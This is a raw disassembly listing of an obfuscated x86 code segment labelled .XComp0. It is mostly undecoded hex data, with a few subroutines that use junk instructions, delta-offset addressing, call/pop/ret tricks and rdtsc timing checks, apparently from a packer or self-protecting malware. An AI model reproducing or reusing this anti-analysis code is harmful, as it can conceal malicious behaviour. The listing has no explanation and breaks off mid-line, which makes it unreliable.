8958C358h, 81042444h, 17042444h, 40000000h, 80ECC350h dd 0B58B4481h, 5F92DA5h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 74251CC3h, 9BBC073Ch dd 0CED68166h, 6800F86h, 89000000h, 0F91469BDh, 0ED95FF05h dd 0E905F913h, 14h, 806B0F15h, 716A58D6h, 4733C637h, 63FC1642h dd 0E30EEEA8h, 0E9839D8Dh, 0B58B05FCh, 5F9116Dh, 6AD3FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 7CB299C3h, 8BF20C8Ch, 0F92DD9BDh, 7D85FF05h, 0E905F919h dd 823h, 0E8h, 0ED815D00h, 5FD680Ch, 0BD815E50h, 5F90715h dd 7D0h, 19D860Fh, 9BF0000h, 666963BBh, 8B98CDBEh, 0F910D59Dh dd 0FA8B6605h, 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8166B6C3h, 0BA15BF7h dd 0BC850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0CE12C356h, 0CA2BC0A5h dd 0BD839E6Dh, 5FD65D2h, 2D840F00h, 1000000h, 0F92A55BDh dd 0BAE905h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8B5243C3h, 0F18B5EFEh, 65D285C7h dd 105FDh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 839D4FC3h, 8E927h, 6C950000h, 8CF8EA20h dd 5DE951A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0F2D5C350h, 4DF79888h dd 0C7D876BDh, 0FD65D285h, 5, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2A493489h dd 9BAF1A11h, 0F598589h, 9D0905F9h, 5F90719h, 10D59D8Dh dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 77ED22C3h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4EE912C3h dd 0DE6E3643h, 158A0Fh, 10E90000h, 9000000h, 90A9E7FEh dd 0F572C3Ah, 0C43CC39Dh, 662C298Ah, 6ADB8Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DB1458C3h dd 0F04C3F6h, 4084h, 0F0B70F00h, 139195FFh, 6A05F9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0BC4E58C3h, 85298410h, 5F92605h, 2800F90h, 8B000000h dd 0F9050F3h, 8Ch, 40DE900h, 8B570000h, 0B05EF9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0ECC35646h, 0C9CEBE66h dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 665447C3h, 5F20DF81h, 0EE8171E4h, 6888FBF6h dd 0BAD8B60Fh, 6, 8BFABF0Fh, 52006AC3h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D7AAE69Bh dd 7FA85A3Bh, 45BD8B6Bh, 8905F904h, 0F9010195h, 4E8C105h dd 0F558529h, 0BD8B05F9h, 5F90A55h, 89E2F766h, 0F91061BDh dd 6AD82B05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 7E2CC352h, 0BE850h, 0CEE00000h dd 0E7226ACBh, 37E6B9Dh, 61605689h, 1C895F5Fh, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0FA7384BCh, 61BE6673h, 0E98D898Ah, 0FF05F920h, 0F90715B5h dd 8D0F6005h, 6, 890Fh, 0FF610000h, 0F91AED95h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0D916F994h, 6A00B0ACh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 7AE1C351h, 6A70E6h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 275666C3h, 8E5F40FBh, 5D858930h, 0E405F931h, 55006A71h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 1492D253h, 0F7816655h, 613C9A98h, 251830Fh, 0B60F0000h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89BA1877h, 0F92A999Dh, 6BA05h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E99E27C3h, 0Ch, 0D273DC5Ah, 0A5D4CFF2h, 9631936Eh dd 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0DFE6FC3h, 89734DA5h, 0F90DD1BDh, 4E8C105h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 37C35747h dd 35BF66F4h, 11B53197h, 6605F920h, 0BD8BE2F7h, 5F91E09h dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0CD7CA9C3h, 58FC6515h, 8BD328A0h, 0F9277DB5h dd 0B58B5805h, 5F911EDh, 880FD82Bh, 15Fh, 7B9h, 29958900h dd 8305F926h, 9D0900C1h, 5F9155Dh, 860FD93Bh, 143h, 519D8960h dd 8B05F92Ah, 0F90DC5BDh, 8C666105h, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B58B5D1Bh dd 5F93445h, 0F04C1F6h, 0CB84h, 0C59D2900h, 0FF05F908h dd 0F9139195h, 68B0F05h, 1000000h, 0F913DDB5h, 6A5B05h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 6EFB85C3h, 8C0FBB09h, 18h, 13E9h, 38FEA000h, 948C84B7h dd 5D3CA49h, 8DE953F5h, 14389587h, 0B52BC32Bh, 5F93331h dd 3DFBBF0Fh, 834h, 5E860Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 665DABC3h dd 9E9FB8Bh, 1E000000h, 0F43CD313h, 76276B84h, 66E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0B55D49C1h, 1919B58Bh, 958905F9h, 5F9171Dh, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 935010C3h, 1EFD6233h, 0E5B58B56h, 5F05F908h, 6E8h, 0EE33BF00h dd 0F87B0A7h, 8B5EFFBFh, 0C7D88BC3h, 0F9251985h, 0A7F5BD05h dd 0C08BF574h, 176DB58Bh, 0BD8105F9h, 5F90715h, 7D0h, 1D850Fh dd 7E90000h, 91000000h, 7F2F957Ch, 85FF42E8h, 5F90715h dd 6E9h, 0AAEEEC00h, 0FF7B2BAFh, 0F90715B5h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 59B350Fh, 816604CDh, 0FFDFDDD6h, 0F91AED95h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0D5618EBEh, 7693E59Bh, 85894226h, 5F917D9h, 12E8h, 486B7700h dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 0FCB20D0Dh, 6A905Eh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0B69B70C3h, 0F781B8A5h, 1F9E818h, 3B9BD8Bh, 6A05F9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 85F3AFC3h, 8D89DB06h, 5F912D9h, 0AA14BF66h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h, 85FEAB1h dd 9589D88Ch, 5F911B5h, 29599589h, 6A05F9h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0B79FDC3h dd 0F9257DB5h, 890F5305h, 6, 13B9BD8Bh, 8B5E05F9h, 0F900D1B5h dd 0DDBD3305h, 8905F926h, 0F9346995h, 6840F05h, 9000000h dd 0F900F98Dh, 1DB58905h, 6A05F911h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7484C356h dd 81F2B70Fh, 302C36D7h, 53006A48h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0CDDBD521h, 0FA8BD88Ah dd 0FFF7E7E9h, 88BF66FFh, 0D9BD8BFEh, 6005F91Fh, 10E9h dd 0EBDD8C00h, 0BCA62A4Ch, 1F546308h, 5601845Ah, 0FFFEB9D8h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0AC1632C3h, 6C9B5602h, 312313AEh, 0F9162D8Dh dd 798D2105h, 0F05F91Eh, 86h, 0B98D2100h, 6A05F90Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B1FC357h, 0F9057585h, 199D8905h, 8B05F919h, 0F91E798Dh dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0E168DD23h, 526A19F9h, 7F1858Bh, 835E05F9h dd 850F01E1h, 6, 8DD8589h, 8D8B05F9h, 5F90CB9h, 0E183F88Bh dd 22850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 7E72C350h, 0D4E54244h dd 6A6061DBh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 995CC353h, 81F2B8E1h, 0CABF02C3h dd 0FFFEB93Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 6666E7C3h, 8BC79ABEh, 0F907B985h dd 0A18D2105h, 8B05F90Fh, 0F921D5BDh, 0E98D2105h, 6A05F90Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 59FCC357h, 3860F68h, 66000000h, 8D8BC18Bh dd 5F90FA1h, 6E9h, 871B0500h, 83911183h, 850F01E1h, 28h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 98C35343h dd 80B810E0h, 8D8967E2h, 5F9349Dh, 0AE98D8Bh, 6A05F9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 5BB98AC3h, 9284FDE0h, 0A21958Bh, 0E18305F9h, 3F850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0E5EEC356h, 0FFDAD48h, 0DE8h dd 3DD25400h, 56AAAF43h, 2BA125B3h, 0DB81A925h, 29EA1C7h dd 0AF65BB58h, 60617C75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 10C35747h, 1811D81Ah, 3149BD8Bh, 0FEB905F9h dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A767C356h, 0B4EBE563h, 0A5BF6657h dd 8B665ED7h, 0D58D21C1h, 6605F910h, 447EF81h, 2B258D21h dd 0EF8105F9h, 2D36BC69h, 11E9h, 0F6CEA00h, 0CD013D58h dd 0B9FCD4C8h, 0AA065255h, 8D8B6FF7h, 5F910D5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2AC35343h, 0E18352B3h dd 24850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0E483C353h, 0FF5EC337h dd 8B0F51DEh, 0F92B258Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0C757B43Eh dd 83B97BE4h, 850F01E1h, 12h, 6840Fh, 95010000h, 5F91245h dd 0DD19D29h, 606105F9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 52C35141h, 0B95ABF22h, 0FFFFFFFEh, 290D858Bh dd 8D2105F9h, 5F92519h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 3BC35141h, 0CE8F8B3h, 0F6000000h, 0E056D950h dd 17C7606Eh, 89677558h, 0F9211185h, 8D215805h, 5F9202Dh dd 8D8B2DB0h, 5F92519h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0D6C35242h, 0A18BC2ACh, 0F0EF1AD1h, 0E183DA8Bh dd 30850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0B49DC352h, 0C76D3D4Ch dd 9D8B609Ah, 5F92721h, 2BD1858Bh, 8B6105F9h, 0F9202D8Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0F2BF0FECh, 0F01E183h, 3485h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0DE81953h, 0F8000000h, 1DB2E0EAh, 63486B77h, 0AA1FA414h dd 4A6FB866h, 6A60615Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 1731C357h, 0D7327812h dd 0BD035053h, 5F904F9h, 1585C75Ah, 0D005F907h, 6A000007h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0DDB7C356h, 4618F3D4h, 7DD8D29h, 6A6105F9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 9D94C357h, 0F5FCF90Ah, 9D6107EBh, 0E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6170E2AFh, 0CA9C5C27h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 49C35545h, 0DA1FD499h, 8B1369B3h, 8F4FEBC1h dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh dd 68E500A6h, 0BA9F0042h, 0DC80h, 1B540000h, 0FEBBh, 0FBFE39h dd 0B4870000h, 202352DDh, 9E019ED9h, 9E97C80h, 66000012h dd 404CE981h, 1785BD83h, 0F0005F9h, 3885h, 6840F00h, 8B000000h dd 0F911E195h, 0E9958B05h, 0B805F907h, 0 dd 12E8h, 5DB70700h, 0B2276783h ; --------------------------------------------------------------------------- sub ch, [edi] loc_5B2BFB: ; CODE XREF: .XComp0:005B2BFFj mov bh, 0BDh test al, 0B8h jecxz short loc_5B2BFB inc ebx add cl, [ecx-6DE4273h] add eax, 4C259h mov eax, eax pusha call sub_5B2C1B nop ; --------------------------------------------------------------------------- dw 3BE2h db 0A7h, 0F7h, 62h ; =============== S U B R O U T I N E ======================================= sub_5B2C1B proc near ; CODE XREF: .XComp0:005B2C10p arg_1C = dword ptr 20h push ecx pop eax pop eax mov cx, 3B10h popa cmp dword ptr [ebp+5F931C9h], 0 jnz short loc_5B2C35 cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5B2C48 loc_5B2C35: ; CODE XREF: sub_5B2C1B+Fj push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+5FBF158h] call ebx pop ebx pop eax loc_5B2C48: ; CODE XREF: sub_5B2C1B+18j cmp dword ptr [ebp+5F912B5h], 0 jz short loc_5B2C62 push eax push ebx mov eax, 4D0h lea ebx, [ebp+5FBF0A5h] call ebx pop ebx pop eax loc_5B2C62: ; CODE XREF: sub_5B2C1B+34j jmp loc_5B2C7A ; --------------------------------------------------------------------------- db 0BEh dd 0BA6A1327h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h db 17h, 0D2h ; --------------------------------------------------------------------------- loc_5B2C7A: ; CODE XREF: sub_5B2C1B:loc_5B2C62j push edx cmc pop edx mov eax, eax lea eax, [ebp+5FD75C5h] mov [ebp+5F934CDh], ebx push eax push eax push edx jmp loc_5B2C98 ; --------------------------------------------------------------------------- inc edi dec ecx stosd xchg eax, ebx cld loc_5B2C98: ; CODE XREF: sub_5B2C1B+73j rdtsc pusha mov edx, ecx pusha popa popa pop edx pop eax mov [esp-20h+arg_1C], eax and edx, 53C6D595h lea eax, [ebp+5FD7582h] add cx, 0F257h nop mov di, 4E8Eh push eax jo loc_5B2CC6 mov cx, 0ACAFh loc_5B2CC6: ; CODE XREF: sub_5B2C1B+A1j nop push 0 push edx call sub_5B2CD2 and [edx-3Dh], bl sub_5B2C1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B2CD2 proc near ; CODE XREF: sub_5B2C1B+AFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5B2CD2 endp ; --------------------------------------------------------------------------- dw 90A4h dd 9883402Fh, 0EF3AA5E8h, 292595FFh, 6A05F9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 92707DC3h dd 8BCEB70Fh, 80042444h, 0EE886C6h, 91000000h, 0F2FBE9F9h dd 0B30BA3BEh, 0EF6CCAC8h, 2ABA66F2h, 85895F4Ch, 5FD75ADh dd 0FCFB70Fh, 58Ch, 0D7816600h, 448B7399h, 6A0824h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 157FD2C3h, 0B219D09h, 0BD8B05F9h, 5F90425h, 75C18589h dd 6A05FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0EC10F4C3h, 75F39Fh, 0D48CEF81h, 0BD830A1Bh dd 5F918A9h, 96850F00h, 8B000000h, 0F92F018Dh, 9985C605h dd 4705F918h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 98C35343h, 336552BAh, 910B89ACh, 0DDB5293Bh, 6805F919h dd 0FFD2406Fh, 4810Fh, 0BA660000h, 34816EC0h, 48E7BD24h dd 0ECD802Bh, 8D1B5FFh, 0CD8005F9h, 10858D8Ch, 2305FCC5h dd 0F900A58Dh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0F97CC353h, 132E4DEEh dd 0A98589F9h, 8905F918h, 0F9293D8Dh, 9BD8305h, 5F915h dd 117850Fh, 85C60000h, 5F91899h, 51006A47h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0DEDFF242h dd 0D2B47B31h, 860F305Dh, 0Ch, 6880Fh, 95890000h, 5F90C61h dd 7EE61768h, 58D0F82h, 0BA000000h, 2A400046h, 0F5243481h dd 89087153h, 0F927F98Dh, 0D1B5FF05h, 6A05F908h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 58B3C353h, 0BB279621h, 10858DF8h, 0F05FCC5h, 685h, 0CDBD8B00h dd 6605F933h, 0D0FFD38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0CFC35343h, 3D054BEEh, 1AA202Ch, 0BE8h dd 41C44900h, 6B8553Fh, 0FBDE4950h, 4800Fh, 0B9660000h dd 895A5C49h, 0F9150985h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 8A9C1CCFh dd 0DD22B8B1h, 8870F91h, 0F000000h, 28Ah, 29616000h, 0F921F5B5h dd 51BD8305h, 5F927h, 77850Fh, 0F600000h, 68Dh, 4D8D0900h dd 0B805F92Bh, 0C3DBF8h, 9985C661h, 5605F918h, 78BD181h dd 4E82C63h, 39000000h, 50D41F6Dh, 0AE9h, 8F034400h, 0EAE25926h dd 8BCF36A2h, 66042444h, 8BF61CBFh, 89D7B600h, 66042444h dd 0F58C88Bh, 0B531FAB7h, 5F90041h, 8D1B5FFh, 0FDB205F9h dd 0C510858Dh, 0C98005FCh, 89D0FF1Dh, 0F91F4D9Dh, 51858905h dd 8A05F927h, 9985C6F7h, 6C05F918h, 1F3DBD09h, 4E805F9h dd 83000000h, 66DB0570h, 50B484BFh, 0EE9h, 5A10D200h, 0B6282D7Fh dd 0F51B2304h, 8BDA9009h, 60042444h, 52503FB1h, 0FC88B66h dd 5A616031h, 8B6158h, 0E850Fh, 50600000h, 5A310F52h, 810F58h dd 61000000h, 4244489h, 24B86660h, 13E8ADh, 26BF0000h dd 0D883D89h, 15C9267Fh, 0DC6535F9h, 14D11384h, 0F525062h dd 58585A31h, 0BD895861h, 5F9209Dh, 2719B5FFh, 6A05F9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0C18E5EC3h, 7D7D2D72h, 9589538Dh, 5F929A5h, 3A6A858Dh dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 897E09C3h, 0F91219BDh, 6AD0FF05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 53F2C357h, 5ACAB70Fh, 75B18589h, 0EE905FDh, 11000000h dd 0BB52E8AFh, 93B53D64h, 0E5095046h, 0CDBD8369h, 5FD75h dd 13C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0AEB742C3h, 0CC3AB0E4h, 6840Fh dd 0BD8B0000h, 5F912ADh, 19D1BD29h, 85C605F9h, 5F91899h dd 51006A49h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 4D98CEEFh, 0D78B6628h, 15A18589h, 676805F9h dd 0B1DBB887h, 24348111h, 57ADAE8Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 46C35747h, 23F5555Ah, 802F805Ah dd 0B5FFD3E5h, 5F92719h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F5C35040h, 9B234DCh, 1485958Bh, 8D8905F9h dd 5F928B1h, 3A6A858Dh, 0BD8B05F9h, 5F9311Dh, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0B1BB15C3h, 90E7819Fh, 0FC47BEE8h, 11E9h, 15053300h dd 76DC6F6Dh, 0FD3B10F9h, 0AFB8943Dh, 85892489h, 5FD75CDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 22C35545h dd 531115D1h, 46ADD45h, 4DD9D89h, 4E805F9h, 0 dd 50000010h, 880F5152h, 0 dd 50310F5Fh, 0B9310F52h, 7D33E0CFh, 585A585Ah, 5D54B950h dd 448B704Ah, 52500424h, 28E0Fh, 61600000h, 8B66310Fh dd 8B585ACFh, 0D38B6000h, 0E0D2BB66h, 24448961h, 0BE804h dd 397F0000h, 5C41E3D5h, 87577496h, 8ABA539Fh, 5940C23Eh dd 87B25859h, 0C9C9D868h, 7458BF38h, 34812BC9h, 0C8C9D824h dd 1E78BA38h, 8B664EC1h, 0BA006AFBh, 17CAE6B4h, 318D95FFh dd 4DB505F9h, 0AC9BD89h, 858905F9h, 5FD75BDh, 11E9h, 5D1B200h dd 1183871Bh, 9C13C191h, 0A29EF7D3h, 85C72F22h, 5FD75B5h dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5B331F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B331F proc near ; CODE XREF: .XComp0:005B3317p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B331F endp ; --------------------------------------------------------------------------- db 54h dd 8D8BCE7Ch, 5F91069h, 6AB1B1h, 0FE9h, 1A983500h, 9A5FECD0h dd 84BB3DCh, 24AFDDA8h, 32518D8Bh, 616805F9h, 0B9A7CE39h dd 6E19B73Ch, 9F240481h, 0F5832C6h, 0F8Ch, 0AE900h, 93960000h dd 65B10139h, 0C342690h, 212EB950h, 48973F0h, 1D8D2B24h dd 6A05F908h, 0B195090Bh, 6605F92Ah, 8D7AFDB9h, 0FD758A85h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0C5D26CFFh, 5350F928h, 0F1B95250h, 0F23AB5Ch dd 11E831h, 0A7E70000h, 0A1B51BE3h, 0D07939DBh, 47346F75h dd 59238D4Dh, 895F585Ah, 0CA8B2404h, 18A995FFh, 0BA6605F9h dd 0BA66F1EFh, 0B58D8BE7h, 5FD7594h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0AAC35747h, 0F7816686h, 9D899F8Fh dd 5F928BDh, 12850Fh, 0DE90000h, 34000000h, 8A0AD42Eh dd 4E432BFh, 73091629h, 24348950h, 7B26F181h, 0E890071Fh dd 0Bh, 14CF82Ah, 7EE82B4Eh, 0FAC69E2h, 485h, 25BF6600h dd 90505939h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 8FC35747h, 0FEE006C8h, 0FFFB8E78h, 0F9150995h dd 0C7E28005h, 850FC00Bh, 2Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0ABE1AA00h, 0E9E3E5ABh dd 700h, 8EE9BFBFh, 6AD0FF47h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 589CC352h, 797BA4C0h dd 0BDB58B72h, 8B05FD75h, 0F92A75BDh, 20468D05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 42C35141h, 66E4C4A6h dd 6AC7203Fh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 91733146h, 898FC553h, 0F9077DB5h dd 0CB8A5005h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 10FC356h, 0E17498AFh dd 5F9B774Dh, 14E8h, 0CED3C500h, 16EA5EF4h, 0D562DB94h dd 9C9E21Eh, 4A89AD7Ch, 7D8D0145h, 5A05F912h, 246D8589h dd 95FF05F9h, 5FD75CDh, 13E8h, 75358900h, 6BB49232h, 0C1CC46F7h dd 9FA94C80h, 0DEE24596h, 24FDB509h, 0B5905F9h, 2A840FC0h dd 0F000000h, 68Bh, 0CAF28100h, 0E92C2788h, 5ECh, 14E9h dd 0EDFC0800h, 0A57A7A61h, 8248D4B4h, 94DDF7A8h, 0D36D3118h dd 207E80D6h, 0C9840F00h, 6A000005h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 126EC356h dd 80C255A9h, 6A60E7F1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 3D93C357h, 1D4049DAh dd 20468D4Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 55C35747h, 8959708Ah, 0F9001D9Dh, 39BD8B05h, 8905F92Eh dd 0FD75B985h, 0A1958905h, 0E905F92Eh, 16Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7CC35343h, 932BC7A4h dd 78039F7Ch, 860846BAh, 958B402Fh, 5F90779h, 532BBA90h dd 0BF5019D9h, 565355BDh, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 329E8770h dd 0F16E28Dh, 689h, 95958900h, 8905F904h, 0F919119Dh, 6A046A05h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 738BC350h, 0DF939CD3h, 8C0FF5C9h, 5, 37F78166h dd 22B190BCh, 4870F50h, 66000000h, 907694BFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C1C35343h, 0C9AC73B6h dd 958B6763h, 5F9107Dh, 75CD95FFh, 0B70F05FDh, 6AD88BD2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 284BC351h, 5F931CD4h, 9D2958FBh, 5F92AB9h dd 0A58D3358h, 0B05F92Ch, 54840FDBh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0BBF4C357h, 0BD2B85B6h, 5F918B5h, 3FFE9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3FD52D9Ah, 8C7CB299h, 0A1BD8B0Ch, 8005F934h, 850F0038h dd 0FFFFFEB1h, 20F18D09h, 958905F9h, 5F9221Dh, 23E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 9F7D4724h, 0F8B70F48h, 75B9853Bh, 820F05FDh, 51h, 0E0C0BF66h dd 0F5C3880h, 4484h, 5840F00h, 0B9000000h, 3B5515FCh, 1F5D8529h dd 388005F9h, 0C9850F2Fh, 6AFFFFFFh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0EDF1C351h dd 71B5EB44h, 8B1E34E8h, 0F908DD8Dh, 880F4005h, 1Fh, 19830Fh dd 14E90000h, 7A000000h, 0DB287848h, 0AF2E11D6h, 3AB6E6AFh dd 71EDCC92h, 830A3F30h, 0FD75C1BDh, 840F0005h, 173h, 6870Fh dd 8D8B0000h, 5F9015Dh, 168A0F90h, 0E9000000h, 11h, 54F633C7h dd 0AAA21600h, 5FB7498Bh, 99CD587Fh, 0BF6650D0h, 